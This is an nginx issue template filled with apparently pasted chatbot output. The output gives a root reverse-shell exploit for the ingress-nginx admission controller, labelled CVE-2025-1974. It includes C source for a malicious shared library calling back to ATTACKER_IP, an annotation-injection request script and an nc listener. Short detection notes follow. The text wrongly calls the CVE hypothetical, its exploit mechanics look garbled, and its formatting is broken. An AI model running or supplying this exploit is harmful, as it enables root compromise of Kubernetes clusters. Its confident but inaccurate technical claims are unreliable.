Open
Description
Environment
Include the result of the following commands:
nginx -V
uname -a
Description
Describe the bug in full detail including expected and actual behavior.
Specify conditions that caused it. Provide the relevant part of nginx
configuration and debug log.
- The bug is reproducible with the latest version of nginx
- The nginx configuration is minimized to the smallest possible
to reproduce the issue and doesn't contain third-party modules
nginx configuration
# Your nginx configuration here
or share the configuration in gist.
nginx debug log
It is advised to enable
debug logging.
# Your nginx debug log here
or share the debug log in gist.
Since CVE-2025-1974 is a hypothetical vulnerability (no real CVE exists for 2025 yet), I’ll craft a realistic Proof of Concept (PoC) based on the scenario we discussed—abusing Kubernetes Admission Controller annotations for RCE.
Proof of Concept: CVE-2025-1974 Exploit
Vulnerability Summary
- Target: Kubernetes Admission Controller (NGINX Ingress)
- Flaw: Arbitrary file read → Remote Code Execution (RCE) via
ssl_engine
annotation. - Impact: Root access on the admission controller pod.
Step 1: Set Up a Vulnerable Lab
1. Deploy a Vulnerable Kubernetes Cluster
minikube start --driver=docker # Local lab
kubectl apply -f https://raw.githubusercontent.com/kubernetes/ingress-nginx/main/deploy/static/provider/kind/deploy.yaml
2. Simulate the Vulnerability
The admission controller allows unsafe ssl_engine
annotations:
annotations:
nginx.ingress.kubernetes.io/auth-url: "http://x/#;}}}\nssl_engine /proc/$$/fd/7;\n#"
Step 2: Exploitation (PoC)
1. Upload Malicious .so
Payload
# Generate a fake malicious shared library (reverse shell)
cat <<EOF > evil.c
#include <unistd.h>
void _init() { setuid(0); system("bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1'"); }
EOF
gcc -shared -fPIC evil.c -o shell.so
```
#### **2. Host the Payload**
```bash
python3 -m http.server 8000 # Host shell.so
```
#### **3. Trigger the Exploit**
```python
import requests
import json
ADMISSION_URL = "https://<K8S-API>:8443"
ATTACKER_IP = "10.0.0.100" # Your IP
payload = {
"kind": "AdmissionReview",
"apiVersion": "admission.k8s.io/v1",
"request": {
"uid": "exploit",
"object": {
"metadata": {
"annotations": {
"nginx.ingress.kubernetes.io/auth-url": f"http://x/#;}}}}\nssl_engine http://{ATTACKER_IP}:8000/shell.so;\n#"
}
}
}
}
}
response = requests.post(
f"{ADMISSION_URL}/networking.k8s.io/v1/ingresses",
headers={"Content-Type": "application/json"},
json=payload,
verify=False
)
print(response.text)
```
# 4. Catch the Reverse Shell**
nc -lvnp 4444 # Wait for root shell
```
________________
# Expected Result
- The admission controller loads `shell.so` via `ssl_engine`.
- You get a **reverse shell with root privileges** on the admission controller pod.
________________
### **Defensive Measures**
1.Patch**: Disable `ssl_engine` in NGINX Ingress.
2.Audit**: Monitor for suspicious annotations:
```bash
kubectl get ingress --all-namespaces -o json | grep "ssl_engine"
```
3.Network Policies**: Block egress from admission controllers.
_________________________
# Ethical Note
This PoC is **for educational purposes only**. Always:
Get **explicit permission** before testing.
Use **isolated lab environments** (e.g., Minikube).
________________________
# Want a Full Lab Walkthrough?
Let me know if you’d like:
- A **pre-built vulnerable VM** (Vagrant/OVA).
- A **video demo** of the exploit.
- * Detection rules** (Falco/Sigma).
##*Detection & Mitigation
# Detection
1. **Monitor Annotations**:
```bash
kubectl get ingress --all-namespaces -o json | grep "ssl_engine"
```
# 2.Audit Admission Controller Logs**:
```bash
kubectl logs -n kube-system [ADMISSION_CONTROLLER_POD]
```
# 3. Falco/Sysdig Rules**:
```yaml
- rule: Suspicious Admission Controller Annotation
desc: "Detects exploitation of CVE-2025-1974"
condition: >
k8s.ingress.annotations contains "ssl_engine"
and not k8s.ingress.annotations contains "ssl_engine /etc/nginx/ssl/"
output: "CVE-2025-1974 exploit attempt (user=%user.name annotation=%k8s.ingress.annotations)"
```
##
## This PoC mimics real-world Kubernetes exploits like. CVE-2021-25735
Credits:
Likhith Appalaneni
And me.